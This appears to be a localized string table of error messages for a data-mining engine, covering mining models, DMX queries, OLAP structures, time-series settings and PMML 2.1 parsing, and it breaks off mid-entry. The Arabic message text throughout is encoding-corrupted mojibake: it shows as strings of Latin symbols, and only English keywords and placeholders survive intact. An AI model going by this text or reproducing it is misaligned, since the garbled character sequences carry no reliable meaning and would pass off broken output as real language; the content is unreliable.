'%{modelname/}' :J1 5'D-). J,( #F JCHF SAMPLE_SIZE 5A1K' 9DI 'D#BD.k'DE9DE) HIDDEN_NODE_RATIO DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F JCHF HIDDEN_NODE_RATIO 5A1K' 9DI 'D#BD.g'DE9DE) HOLDOUT_TOLERANCE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F JCHF HOLDOUT_TOLERANCE #C(1 EF 5A1.c'DE9DE) BRENT_TOLERANCE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F JCHF BRENT_TOLERANCE #C(1 EF 5A1.c'DE9DE) MINIMUM_SUPPORT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MINIMUM_SUPPORT #C(1 EF 5A1.'D(J'F :J1 E9*E/.OD' **HA1 .H'12EJ) ,E9 'D(J'F'* '%{AlgoName/}' DD'3*./'E E9 FE'0, 'D,E9 'DE-DJ).ND' **HA1 .H'12EJ) ,E9 'D(J'F'* 'DE3*./E) EF BP(D '%{ModelName/}' DG0' 'D'*5'D.lD' JECF %F4'! EHA1 'D.H'12EJ) D.H'12EJ) ,E9 'D(J'F'* '%{AlgoName/}'; J9/ ProgID EABH/K' AJ EDA *CHJF 'D.'/E.�D' **7'(B 'D./E) '%{ServiceName/}' 'D*J *E %1,'9G' EF BP(D .H'12EJ) ,E9 'D(J'F'* '%{ProgID/}' E9 .H'12EJ) '%{AlgoName/}' 'D.'5) (G' AJ EDA *CHJF 'D.'/E.�J,( '3*./'E 'D/'D*JF IsInNode #H IsDescendant AB7 E1) H'-/) HD' J,( '3*./'E #J 9'ED "#H" E9K' 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.S'3*/9'! 'D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/} :J1 5'D-.�'D/'D) '%{FunctionName/}' 'DE-//) 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/} DJ3* /'D) E91QA) EF BP(D 'DE3*./E (UDF) HD' /'D) E.55) E/9HE) EF BP(D .H'12EJ) 'D*H5JD._D' JC4A EHA1 'D.H'12EJ) D.H'12EJ) ,E9 'D(J'F'* '%{AlgoName/}' 9F H',G) %,('1J) DD/'D'* 'DE.55).|E3EH- AB7 (*9(J1 +'(* DDH3J7) '%{ArgumentIndex/}' 'D.'5) ('D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�E3EH- AB7 (E1,9 9EH/ 1BEJ DDH3J7) '%{ArgumentIndex/}' 'D.'5) ('D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}.�E3EH- AB7 (E1,9 9EH/ ,/HD DDH3J7) '%{ArgumentIndex/}' 'D.'5) ('D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�*E *-/J/ FH9 :J1 5'D- .'5 ('DBJE) DDH3J7) '%{ArgumentIndex/}' 'D.'5) ('D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.i*E *B/JE 9// C(J1 DD:'J) EF 'DH3J7'* #H 'D9D'E'* DD/'D) 'DEH,H/) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.J9D'E) :J1 E91HA)  DD/'D) 'DEH,H/) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.oJ,( *B/JE E9DE'* 'D/'D) 'D%,('1J) B(D 0DC %DI 'D9D'E'* DD/'D) 'DEH,H/) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.V-/+ .7# #+F'! *BJJE 'D/'D) '%{FunctionName/}' 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}'�9D'E) FE0,) '%{FlagName/}' :J1 5'D-) D9EH/ (FJ) 'D,E9 '%{ColumnName/}'. JECF AB7 '3*./'E 9D'E'* 'D(F'! 'D.'5) ('D.H'12EJ) E9 #9E/) FE'0, 'D,E9.WJ-*HJ 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' 9DI #C+1 EF 9EH/ H'-/ E5FA.jJ,( #F JCHF 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' EFA5D'K F81K' D#FG JBHE (*5FJA 9EH/ ".1.�J,( #F JCHF 'D9EH/ '%{classifiedcolumn/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' EFA5D'K F81K' D#FG J*E *5FJAG EF BP(D 'D9EH/ '%{column/}'.{'DE91QA '%{classifiedcolumn/}' ClassifiedColumn 'DE-// 6EF 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' :J1 EH,H/.q'DE9DE) FORCE_REGRESSOR DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F JCHF 'D9EH/ '%{strParamName/}' %/.'D'K HEF-/1K.SGROUP BY :J1 E3EH- (G AJ FH9 'D9('1) SELECT AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.N:J1 E3EH- (@ JOIN AJ FH9 9('1) SELECT 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�D' JECF '3*./'E 'DEHA1 'DE3*./E EF BP(D E5/1 'D(J'F'* '%{datasource_name/}' 'DE4'1 %DJG AJ 'D9('1) OPENQUERY EF BP(D G0' 'DE+JD.~%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI (FJ) 'D,E9 'DEO4'1 %DJG' '%{strName/}' #H #F 'DC'&F :J1 EH,H/.5D' J*E /9E 9('1) EXPORT D(OFI ,E9 OLAP E+D '%{Name/}rDB/ (D: 'D.'/E #B5I -/ DG HGH (%d{cMaxQueries/}) D'3*9D'E'* ,E9 'D(J'F'* 'DE*2'EF). -'HD %,1'! 'D'3*9D'E E1) #.1I.eD' J*E /9E 9EH/ 'DA5D DDE9DE'* #H BJE) 'D%1,'9 'D.'5) (@ UDF 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.q#1,9* 'D/'D) 'DE91QA) EF BP(D 'DE3*./E (UDF) 9//K' :J1 E*F'3B EF 'D#9E/) 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}.,%F '%{strAttrName/}' DJ3 '3E 916 3E) 5'D-K'.�D' JECF *-/J/ DiscretizationMethod/DiscretizationBucketCount DD9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' - -J+ DE J*E A5DG'.qD' J9/ 9EH/ (FJ) 'DE5/1 '%{structureCol/}' D9EH/ FEH0, 'D,E9 '%{modelCol/}' ,/HD'K #H D' J-*HJ 9DI #9E/) E*/'.D).QD' J-*HJ 9EH/ 'D,/HD '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' 9DI #J #9E/).~D' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'Probability'. [Column=%{ColumnName/}].zD' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'Support'. [Column=%{ColumnName/}].�D' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'ProbabilityVariance'. [Column=%{ColumnName/}].�D' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'ProbabilityStddev'. [Column=%{ColumnName/}].yD' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'Stddev'. [Column=%{ColumnName/}].{D' JECF DD.H'12EJ) 'DE-//) E9'D,) #9E/) FEH0, 'D,E9 '%{modelname/}' 0'* E-*HI EF FH9 'Variance'. [Column=%{ColumnName/}].YDE J*E 'D9+H1 9DI 9EH/ 'D(FJ) 'DE5/1 '%{structureCol/}' D9EH/ FEH0, 'D,E9 '%{modelCol/}'.O*901 *-HJD 9EH/ 'D%/.'D '%{inputCol/}' %DI FH9 9EH/ FEH0, 'D,E9 '%{modelCol/}'.�('DF3() DCD 9EH/ (FJ) ,E9 OLAP J,( #F JCHF GF'C *3D3D GJCDJ DD3E'* *E *ECJFG. HD' J-*HJ 9EH/ (FJ) ,E9 '%{structureCol/}' OLAP 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.�D' *9/ 'D3E) 'DE5/1 D9EH/ (FJ) ,E9 '%{structureCol/}' OLAP 'DE5FQA ,2!K' EF *3D3D GJCDJ 7(J9J J*7'(B E9 'D*3D3D 'DGJCDJ D9EH/ 'D,E9.jA4D* E9'D,) FEH0, 'D,E9 '%{modelname/}' %E' D#F (J'F'* 'D*/1J( A'1:) #H DE J*E 'D9+H1 9DI #J) 3E'* ED-H8).�D' JECF #F J-*HJ 'D9EH/ '%{structureCol/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' 9DI BJE .'DJ) (%E' #F 'D9EH/ *E *CHJFG 9DI #FG 'NOT NULL' #H J9*(1 EA*'- ,/HD E*/'.D), HDCF (J'F'* 'DE5/1 'D.'5) (G *-*HJ 9DI BJE .'DJ).~*-*HJ (FJ) 'D,E9 '%{name/}' #H 'DFEH0, 9DI FE'0, E4'(G) HD' JECF E9'D,*GE' E9 1H'(7 .'1,J) AB7. HJ,( E9'D,) (FJ) 'D,E9 'DCDJ).q**7D( 'D.H'12EJ) 'DE3*./E) H,H/ 3E) %/.'D H'-/) 9DI 'D#BD. DE J*E 'D9+H1 9DI 4J! AJ FEH0, 'D,E9 '%{modelname/}'.r'3*9D'E 'F6E'E 'D*HB9 :J1 5'D- D#F 'D9('1) ON *BHE (6E 9EH/ %/.'D ,/HD %DI 9EH/ FEH0, 'D,E9 'D1BEJ '%{modelcol/}'.p'3*9D'E 'F6E'E 'D*HB9 :J1 5'D- D#F 'D9('1) ON *BHE (6E 9EH/ %/.'D 1BEJ %DI 9EH/ FEH0, ,E9 'D,/HD '%{modelcol/}'.@DE J1*(7 9EH/ 'DEA*'- 'D.'5 (,/HD E*/'.D AJ '3*9D'E 'F6E'E *HB9.�D' JECF 'DH5HD %DI BJE 9EH/ EA*'- E3*E1 (#J: 9EH/ *E *9JJF FH9 'DE-*HI 'D.'5 (G %DI 'KEY TIME' #H 'KEY SEQUENCE') 9F 71JB '3*./'E E,EH9) MiningModelColumn.Values.x%F 'D9F51 DataType 'D.'5 ('D1(7 D9EH/ (FJ) ,E9, 'D0J *E *9JJF FH9 'DE-*HI 'D.'5 (G %DI *'1J., J,( *9JJFG C0DC %DI *'1J..{D' JECF %CE'D 'D'3*J1'/, F81K' DH,H/ C'&F ('D'3E '%{objectname/}' #H ('DE91QA '%{objectid/}' ('DA9D AJ B'9/) (J'F'* 'DH,G).[D' JECF *-HJD 'DBJE) '%{value/}' %DI FH9 'D(J'F'* 'D.'5 (9EH/ FEH0, 'D,E9 '%{columnname/}'.lAJ FEH0, 'D,E9 '%{modelname/}' :J1 E3EH- (9D'E) 'DFE0,) MODEL_EXISTENCE_ONLY AJ 9EH/ 'DEA*'- '%{colname/}'.@-/+ .7# #+F'! 'D*-BB EF 5-) 'D3E'* DFEH0, 'D,E9 '%{modelname/}'.�'DBJE) 'DE-//) DDE9DE) MINIMUM_DEPENDENCY_PROBABILITY 'D.'5) (FEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( *9JJF 'DE9DE) MINIMUM_DEPENDENCY_PROBABILITY %DI BJE) #C(1 EF 0.0 H#BD EF 1.0.Y'D(O9/ '%{dimensionid/}' 'DE4'1 %DJG AJ 'D1(7 D(FJ) *,EJ9 '%{structure/}' OLAP :J1 EH,H/.wE,EH9) EBJ'3 '%{mgid/}' 'DE4'1 %DJG' AJ 'D1(7 'D.'5 (9EH/ 'D,E9 '%{column/}' D(FJ) ,E9 '%{structure/}' OLAP :J1 EH,H/).`J,( #F J4J1 1(7 OLAP DD,/HD 'DE*/'.D '%{column/}' %DI FA3 'DEC9( E+D 1(7 (FJ) ,E9 '%{struct/}' .mEBJ'3 '%{mid/}' 'DE4'1 %DJG AJ 'D1(7 'D.'5 (9EH/ (FJ) ,E9 '%{structure/}' OLAP 'DE3EI '%{column/}' :J1 EH,H/.'DE9DE) MISSING_VALUE_SUBSTITUTION DFEH0, 'D,E9 %{modelname/} :J1 5'D-). 'D.J'1'* 'DE/9HE) GJ "(D'" #H "'D3'(B" #H BJE) 1BEJ)TJ3E- AB7 (9// 5-J- +'(* :J1 3D(J DD*9(J1 TOP AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.PALJO3E- (*9(J1 #E1 H'-/ AB7 D*9(J1 TOP AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.�E,EH9) 'D*/1J( 5:J1) ,/K' ('DF3() DFEH0, 'D,E9 '%{modelname/}'. J,( #F JCHF 9// -'D'* 'D*/1J( #C(1 EF BJE) MINIMIUM_CLUSTER_CASES.{.7# *-DJD PMML 2.1 ('D371 '%{Line/}' 'D9EH/ %{Column/}). DE J*E 'D9+H1 9DI 'D3E) 'DE7DH() '%{attr/}' DD9D'E) '%{tag/}'  �.7# *-DJD PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). 'D9D'E) 'DA19J) '%{child/}' E7DH() DCF DE J*E 'D9+H1 9DJG' /'.D 'D9D'E) 'D#5DJ) '%{parent/}' #H #FG' :J1 5'D-). }.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). *E *91JA 'D3E) '%{attr/}' DDC'&F '%{objName/}' E3(BK' (BJE) E.*DA).y.7# (F'&J AJ PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). J*E /9E 'D9F51 '%{tagSecond/}' (9/ 'D9F51 '%{tagFirst/}' AB7.p.7# *-DJD PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). *6E 'D3E) '%{attr/}' DD9D'E) '%{tag/}' BJE) :J1 E*HB9) i.7# *-DJD PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). 'D9D'E) '%{tag/}' C'F* :J1 E*HB9) #H :J1 E/9HE).7J3*./E 'DFEH0, /'.D E3*F/ PMML 2.1 .H'12EJ) :J1 E9*E/).r.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). *E *91JA C'&F '%{tag/}' ('D'3E FA3G ('%{name/}') ('DA9D.�.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). JH,/ C'&F EF FH9 '%{tag/}' E91QA EF BP(D '%{name/}' *E* 'D%4'1) %DJG /HF 'D%9D'F 9FG E3(BK'.X.7# *-DJD PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). *E* EH',G) 5AJA E6:H7 :J1 5'D-.�.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). J*E /9E A'5D 2EFJ AB7 D-BHD 'D(J'F'* 'DE3*E1) HJ,( #F J*6EF G'E4K' H'-/K' 9DI 'D#BD.m.7# *-DJD PMML 2.1('D371 '%{Line/}' 'D9EH/ %{Column/}). *E 'D9+H1 9DI E-*HI :J1 E/9HE /'.D 'D9F51 '%{tag/}'.�.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). J*E /9E 'D9F51 '%{tag/}' AB7 %0' C'F J-*HJ 9DI 5AJAJF ('D6(7 (-'D'* H-3'('*) H'DD0JF JCHF DGE' FA3 9// 'D9F'51. J,( #F *CHF 'D9F'51 #C(1 EF 0.j.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). J*E /9E NumericInfo AB7 D-BHD 'D(J'F'* 'DE3*E1).PAu.7# *F'3B PMML 2.1('D371 '%{Line/}' 'D9EH/ '%{Column/}). J*E /9E DiscrStats D-BHD 'D(J'F'* :J1 'DEFA5D) #H 'DEFA5D).{*E *E1J1 *3EJ) *H6J-J) DF8'E E,EH9) *3D3D :J1 5'D-) %DI 'D/'D) Cluster Membership 'DE7(B) 9DI FEH0, 'D,E9 '%{modelname/}'.�E9DE) MISSING_VALUE_SUBSTITUTION 'D.'5) (FEH0, 'D,E9 %{modelname/} DG' BJE) :J1 5'D-). 'D%9/'/'* 'D5'D-) GJ "(D'" #H "'D3'(B" #H BJE) 1BEJ).�*E *E1J1 -'D) :J1 5'D-) %DI 'D/'D) GetLag() H'D*J *3*./E E9 FEH0, 'D,E9 '%{modelname/}'. J-*', FEH0, 'D*3D3D 'D2EFJ %DI 7'(9 2EFJ DCJ JCHF EH,H/K' AJ CD -'D).�*E* EH',G) E91A A1J/ :J1 5'D- D9B/) 'D*3D3D 'D2EFJ AJ FEH0, 'D,E9 '%{modelname/}'. *#C/ EF *F'3B 'DE91A'* 'DA1J/) DD9B/) E9 *DC 'D*J *E 'D-5HD 9DJG' (H'37) 'C*4'A 'DE-*HI..JH,/ 9// C(J1 ,/K' EF 'D3E'* D-3'( 'D'1*('7'*.i-/Q EGD) '3*9D'E 'D*F($ 5:J1 ,/K' D7D( *F($ 'D*3D3D 'D2EFJ G0' '3*F'/K' %DI FEH0, 'D,E9 '%{modelname/}'.3E91A .'5J) 'D9B/) 'DE-// %E' :J1 5'D- #H :J1 E9*E/.}*E* EH',G) -'D) %/.'D 3J&) E9 E1'* -/H+ 9B/) EF 'D**'(9 'DE**'DJ 'DE*9// #+F'! E9'D,) 'D(J'F'* DFEH0, 'D,E9 '%{modelname/}'.�*E* EH',G) -'D) %/.'D 3J&). DE J*E 'D9+H1 9DI (J'F'* 9B/) 'D*3D3D -J+ C'F E*HB9K' AJ -'D) 'D%/.'D #+F'! E9'D,) 'D(J'F'* DFEH0, 'D,E9 '%{modelname/}'.S-/+ .7# AJ *BJJE /'D) E91A) (H'37) 'DE3*./E AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.~DE J*E *91JA #9E/) EF :J1 #9E/) 'DEA'*J- AJ FEH0, ,E9 'D*3D3D 'D2EFJ '%{modelname/}'. D0' D' JECF '3*1/'/ #J) (J'F'* DD*-DJD.�#+F'! '3*./'E 9('1) INSERT INTO D*/1J( (FJ) 'D,E9 '%{structure/}' *E 1(7 9EH/ 'D,/HD 'DE*/'.D '%{column/}' (9EH/ 1BEJ AJ E,EH9) 5A 'D%/.'D.�JC*4A E9'D, 'D-'D) BJE KeyTime 'DE*C11) ('D7H'(9 'D2EFJ)) 'D*J JECF *7(JBG' 9DI 'D*3D3D 'D2EFJ FA3G #+F'! E9'D,) 'D(J'F'* DFEH0, 'D,E9 '%{modelname/}'. EF 'DE3*-3F %,1'! 'DE9'D,) 'DE3(B) DD(J'F'* DD*.D5 EF 'D7H'(9 'D2EFJ) 'DE*C11).sAJ FEH0, 'D,E9 '%{model/}' A4D 7D( %DI 'D3E) '%{attribute/}' D%-5'&J'* 'DG'E4 D#F G0G 'D3E) DJ3* %/.'D HD' %.1',..'DB3E GlobalStats EF E3*F/ PMML EABH/ #H *'DA.8E-*HI 'D.H'12EJ) DFEH0, 'D,E9 '%{model/}' EABH/ #H *'DA.�D' J*7'(B 9// 9EDJ'* 1(7 'DEA*'- 'D.'1,J DD,/HD 'DE*/'.D '%{tablecolumn/}' E9 9// 9EDJ'* 1(7 'DEA*'- DEA*'- 'D-'D) '%{casekeycolumn/}' D(FJ) 'D,E9 '%{structure/}'.�J-*HJ FEH0, 'D,E9 '%{model/}' 9DI 'D3E'* %d{cAttributes/}. J*,'H2 9// 'D3E'* G0' -/ 'D3E) %d{cAttributeLimit/} 'D0J J3E- (G 'D%5/'1 'D-'DJ EF 'D.H'12EJ) 'DEB*1F) (FEH0, 'D,E9.`J,( *9JJF '3*./'E C'A) 'D#9E/) EF :J1 #9E/) 'DEA'*J- AJ FEH0, 'D,E9 '%{model/}' %DI PredictOnly.KD' JECF #F J*6EF FEH0, 'D,E9 '%{model/}' #C+1 EF 3E) H'-/) JECF 'D*F($ (G'.�J*6EF FEH0, 'D,E9 '%{model/}' 9EH/K' J3*./E FH9 'D(J'F'* DATE. FH9 'D(J'F'* G0' :J1 E9*E/ EF BP(D EH'5A'* PMML 2.1. JECF *-HJD FH9 'D(J'F'* DATE 9'/) %DI FH9 (J'F'* DOUBLE C-D (/JD H'D0J JO9*E/ EF BP(D EH'5A'* PMML 2.1.�*E* EH',G) *,'H2 'D39) #+F'! *-HJD BJE) *E 'D*F($ (G' %DI 'D9EH/ '%{ColumnName/}' AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}. JH5I (FH9 (J'F'* 0J /B) 9'DJ) DD9EH/.�AJ (FJ) 'D,E9 '%{parentStruct/}' J1*(7 'D9EH/ '%{name/}' (9EH/ B'9/) (J'F'* *E *9JJF FH9 'D(J'F'* 'D.'5) (G %DI "+F'&J". H(4CD FEH0,J JE+D FH9 'D(J'F'* G0' (J'F'* :J1 EF8E) H'D*J D' JECF E9'D,*G'.�D' JECF E9'D,) (FJ) 'D,E9 '%{structure/}' OLAP E' /'E H69 'D*.2JF 'D*4:JDJ DD(O9/ '%{dimension/}' 'DE4'1 %DJG AJ 'D1(7 'D.'5 ('D9EH/ '%{column/}' DJ3 MOLAP.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI FEH0, ,E9 'D(J'F'* #H 'D(FJ) 'DEO4'1 %DJG' '%{strName/}' #H #F 'DC'&F :J1 EH,H/.�D' J91QA 'D'3E '%{Name/}' FEH0, 'D,E9 #H (FJ) 'D,E9 (4CD A1J/. -'HD *#GJD G0' 'D'3E 9F 71JB %6'A) 'D('/&) 'MINING STRUCTURE' #H 'MINING MODEL' %DI #HDG.~J*6EF 9EH/ (FJ) 'D,E9 '%{Name/}' E$GPD *F($. E$GD'* 'D*F($ E+D: PREDICT #H PREDICT ONLY D' JECF *7(JBG' 9DI #9E/) (FJ) 'D,E9.GJ*E /9E DELETE FROM CASES D(FI 'D,E9 AB7. #E' '%{Name/}' AGH FEH0, ,E9.vJ-*HJ 9EH/ '%{column/}' 'D.'5 (FEH0, 'D,E9 '%{Name/}' 9DI 9D'E) 'D(F'! '%{flag/}' H'D0J J*E /9EG AB7 D#9E/) (FJ) 'D,E9�'D9('1) ON AJ 'D371 %d{Line/} 'D9EH/ %d{Column/} :J1 5'D-). J,( #F *CHF 'D#9E/) 'DE-//) AJ 9('1) ON 1BEJ) CE' #F 9EH/K' H'-/K' AJ 'D1(7 'DH'-/ J,( #F JCHF EF FEH0, 'D,E9 H'D9EH/ 'D".1 EF E5/1 'D%/.'D.�J,( *9JJF 'D'3*./'E 'D.'5 ('D9EH/ '%{column/}' DFEH0, 'D,E9 '%{model/}' %DI "EA*'-" D#F 9EH/ (FJ) ,E9 'DE5/1 'D.'5 (G GH 9EH/ EA*'-.�%F C'&F'* ,E9 ,D3) 'D9ED ((E' AJ 0DC 71B 916 E5/1 'D(J'F'* 'D.'5) 'DE3*./E) DE9'D,) #(9'/ ,E9 'D(J'F'*) D' JECF %F4'$G' AJ G0' 'DE+JD.h**7D( G0G 'DEJ2) %-5'&J'* 'D/1,) 'D#HDI H'D*J D' **HA1 E9 'D.H'12EJ) 'DE3*./E) DFEH0, 'D,E9 '%{model/}'.�*E %F4'! '3*+F'! 9'E (H'37) .H'12EJ) 'D3D3D) 'D2EFJ) #+F'! 'D9ED E9 FEH0, 'D,E9 %{modelname/} EF 'DE1,- #F JCHF 0DC (3(( BJ/ 9DI 'DEH1/ E+D 9/E H,H/ 0'C1) C'AJ). EF 'DE3*-3F %9'/) *4:JD 'D.H'12EJ) E9 E2J/ EF 'DEH'1/ 'DE*HA1).�D' JECF D.H'12EJ) 'D3D3D) 'D2EFJ) *.5J5 'D0'C1) 'DE7DH() DE9'D,) FEH0, 'D,E9 '%{modelname/}'. EF 'DE3*-3F 2J'/) 'D0'C1) 'DE*HA1) H%9'/) *4:JD 'D.H'12EJ).~%F (FJ) #H FEH0, 'D,E9 'DE3*F/ %DI EC9( OLAP '%{name/}' D' JECF E9'D,*G (1H'(7 .'1,J) (E+D 9('1) INSERT INTO #H DTS Pipeline)SBJE) MIN_SERIES_VALUE DFEH0, 'D,E9 '%{modelname/}' C'F* #C(1 EF MAX_SERIES_VALUE.-*E ('DA9D */1J( FEH0, 'D,E9 '%{modelname/}'.�JECF #F J-*HJ 'D9EH/ '%{column/}' D(FJ) 'D,E9 '%{structure/}' OLAP 9DI "E-*HI" *E *9JJFG %DI #FH'9 :J1 E3*E1) (EFA5D #H :J1 EFA5D #H #3'3J) D#FG E1*(7 (3E) E5/1 EFA5D ('%{attribute/}' AJ (O9/ EC9( '%{cubedimension/}').�%F E9DE'* 'D'FA5'D (DiscretizationMethod H DiscretizationBucketCount) DD9EH/ '%{column/}' D(FJ) 'D,E9 '%{structure/}' OLAP J,( #F **7'(B E9 E9DE'* 3E) 'DE5/1 'DEFA5D ('%{attribute/}' AJ (O9/ 'DEC9( '%{cubedimension/}').LAJ FEH0, 'D,E9 '%{modelname/}' D' *3E- 'D.H'12EJ) (9EH/ ,/HD CE' GH E*HB9.6D' J-*HJ FEH0, 'D,E9 '%{model/}'  9DI 9EH/ EA*'- -'D).�J-*HJ 9EH/ EF :J1 #9E/) 'DEA'*J- AJ FEH0, *3D3D 2EFJ %{modelname/} 9DI FH9 'D(J'F'* *'1J./HB*/7'(9 2EFJ. HG0' :J1 E3EH- (G. EF 'DE3*-3F (F'! 'D9EH/ C1BEJ.G**HA1 -'D'* BDJD) ,/K' D*/1J( FEH0, ,E9 'D*3D3D 'D2EFJ '%{modelname/}'.{*E ('DA9D */1J( (FJ) 'D,E9 '%{name/}' HD' */9E *-/J+'* *2'J/J). B(D '3*./'E 9('1) INSERT INTO '3*./E DELETE FROM <object>.�JECF '3*./'E FH9 'DE-*HI DD9EH/ '%{column/}' D(FJ) 'D,E9 '%{structure/}' D*5FJA 'D#9E/) 'D#.1I AB7. HE9 0DC DE J*E 'D9+H1 9DI E1,9 9EH/ E5FA DG0' 'D9EH/.�'DE9DE) MAXIMUM_CONTINUOUS_INPUT_ATTRIBUTES DDFEH0, %{modelname/} :J1 5'D-). J,( #F *CHF MAXIMUM_CONTINUOUS_INPUT_ATTRIBUTES #C(1 EF 0 H#BD EF %d{Max/}'.PA'DE **E E9'D,) (FJ) '%{Name/}' 'DE1,9J).FJ-*HJ FEH0, 'D,E9 '%{model/}' 9DI EJ2'* :J1 E9*E/) AJ EH'5A) PMML 2.1.�D' JECF 1(7 'D9EH/ '%{column/}' D(FJ) 'D,E9 '%{structure/}' OLAP ('D3E) 'D#5DJ) AJ (O9/ #5DJ-A19J ('%{attribute/}' AJ (O9/ 'DEC9( '%{cubedimension/}').{D' JECF '3*./'E 'D/'D) 'DE91QA) (H'37) 'DE3*./E (UDF) AJ 'D371 %d{Line/} 'D9EH/ %d{Column/} CE5/1 (J'F'* DD9P('1) 'D-'DJ).;.7# #+F'! IMPORT: *E *97JD #E1 IMPORT DFE'0, 'D,E9 'DE-DJ).�D' J*H'AB FH9 'D(J'F'* 'DE-//) DD9EH/ '%{column/}' D(FJ) 'D,E9 '%{structure/}' OLAP E9 3E) 'DE5/1 'D.'5) (G' ('%{attribute/}' AJ (O9/ 'DEC9( '%{cubedimension/}').W'DE9DE) ACYCLIC_GRAPH DDFEH0, '%{modelname/}' :J1 5'D-). J,( *9JJFG' %DI True #H False.�*H,/ BJE *3D3D EA'*J- E*C11) AJ -'D) %/.'D D@ '%{modelname/}'. B/ *$/J 'D-'D) ('D-'D'*) 'D:'E6) %DI F*'&, :J1 EH+HB (G'. JH5I (%2'D) 'D:EH6 (E3*-3F) #H 2J'/) E9DE) .'/E ErrorLog KeyErrorLimit.�*E 'D9+H1 9DI #9E/) HB* 'DEA*'- 'DE*9// AJ (FJ) 'D,E9 DFEH0, 'D*3D3D 'D2EFJ '%{modelname/}'. EF 'DEECF #F *-*HJ (FJ) 'D,E9 9DI 9EH/ "HB* EA*'-" H'-/.�#+F'! '3*./'E 9('1) INSERT INTO D*/1J( (FJ) ,E9 '%{structure/}' *E 1(7 9EH/ 'DBJE) '%{column/}' 'D1BEJ (9EH/ A5D AJ E,EH9) 5A 'D%/.'D.�J,( 9DI 3E) 'DE5/1 D9EH/ (FJ) ,E9 OLAP EF :J1 #9E/) 'DEA'*J- #F *1*(7 (3E) 'DE5/1 D9EH/ 'DEA*'- 9(1 AttributeRelationships. D' *H,/ 9D'B) E('41) HD' :J1 E('41) DD9EH/ '%{structureCol/}' D(FJ) 'D,E9 '%{structure/}' OLAP.u9('1) DMX  INSERT INTO <miningobject>.COLUMN_VALUES :J1 E9*E/) D#F (FJ) ,E9 '%{structure/}' (G' 9EH/ #H #C+1 EFA5D.�'DE9DE) AUTO_DETECT_PERIODICITY DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F *CHF AUTO_DETECT_PERIODICITY 1BEK' (JF 0.0 H1.0�E,EH9) 'D*/1J( 5:J1) ,/K' DFEH0, 'D,E9 '%{modelname/}'. J,( #F D' JCHF 9// -'D'* 'D*/1J( #BD EF 'D-/ 'D#B5I D@ (CLUSTER_COUNT,MINIMUM_SUPPORT).<J*6EF FEH0, 'D,E9 '%{model/}' 9/) #9E/) EA*'- AJ E3*HI H'-/.1D' JECF *7(JB 'D.J'1 '%{option/}' 9DI FEH0, ,E9.0D' JECF *7(JB 'D.J'1 '%{option/}' 9DI (FJ) ,E9.5D' JECF *-/J/ 'D.J'1 '%{option/}' #C+1 EF E1) H'-/).xBJE) HoldoutMaxPercent: '%d{holdoutmaxpercent/}' :J1 5'D-). J,( #F *CHF 'DBJE (JF '%d{minpercent/}' H '%d{maxpercent/}'.]'DBJE) D@ HoldoutMaxCases: 